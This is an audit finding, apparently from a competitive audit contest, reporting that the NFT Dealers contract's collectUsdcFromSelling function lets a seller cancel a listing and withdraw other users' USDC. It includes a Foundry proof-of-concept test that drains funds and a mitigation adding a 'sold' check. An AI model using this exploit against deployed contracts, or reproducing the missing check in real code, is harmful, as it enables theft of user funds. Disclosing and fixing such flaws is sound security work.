NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Malicious user can withdraw funds from other users' orders due to improper accounting

iamgeorgi

Missing validation on whether an nft was actually bought can result in incorrect accounting and a malicious user withdawing funds while his nft isn't bought

Description

  • Normal- A whitelisted user lists his nft for sell. buyer buys it. only the user which nft was bought can collect his usdc.

  • Issue - A malicious actor can workaround this by creating a listing for his nft. His nft remains listed and isn't bought but another whitelisted account has his listed NFT bought by a buyer. The malicious actor can call

    collectUsdcFromSelling() with his listing id AFTER he has canceled his listing

    function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");
    @> // missing CHECK IF THE NFT HAS BEEN PURCCHASED
    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];
    ​
    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
    usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
    }

Risk

Likelihood:

  • High: It can be performed by any whitelisted account who wants to steal funds.


Impact:

  • Impact- Critical: User which nft has been sold won't be able to claim his USDC since an attacker can withdraw the funds.

Proof of Concept

function test_drainLegitUser() external revealed whitelisted {
address user1 = address(0x1);
assertEq(0, usdc.balanceOf(address(nftDealers)));
vm.prank(owner);
nftDealers.whitelistWallet(user1);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 4000e6);
vm.stopPrank();
usdc.mint(user1, 20e6);
vm.startPrank(user1);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(2, 4000e6);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 4000e6);
nftDealers.buy(1);
vm.stopPrank();
assertEq(4040e6, usdc.balanceOf(address(nftDealers)));
// the malicious user's happy moment
vm.startPrank(user1);
nftDealers.cancelListing(2);
nftDealers.collectUsdcFromSelling(2);
assertEq(3900e6, usdc.balanceOf(user1));
}

Recommended Mitigation

Update the struct listing and add validation checks

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool sold
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.sold, "NFT is not sold yet");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
​
​
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

cancel-to-steal-collateral

user can cancel listing, because the indication isActive is set to false and then checked in collectUsdcFromSelling - user can simply cancel listing and steal USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!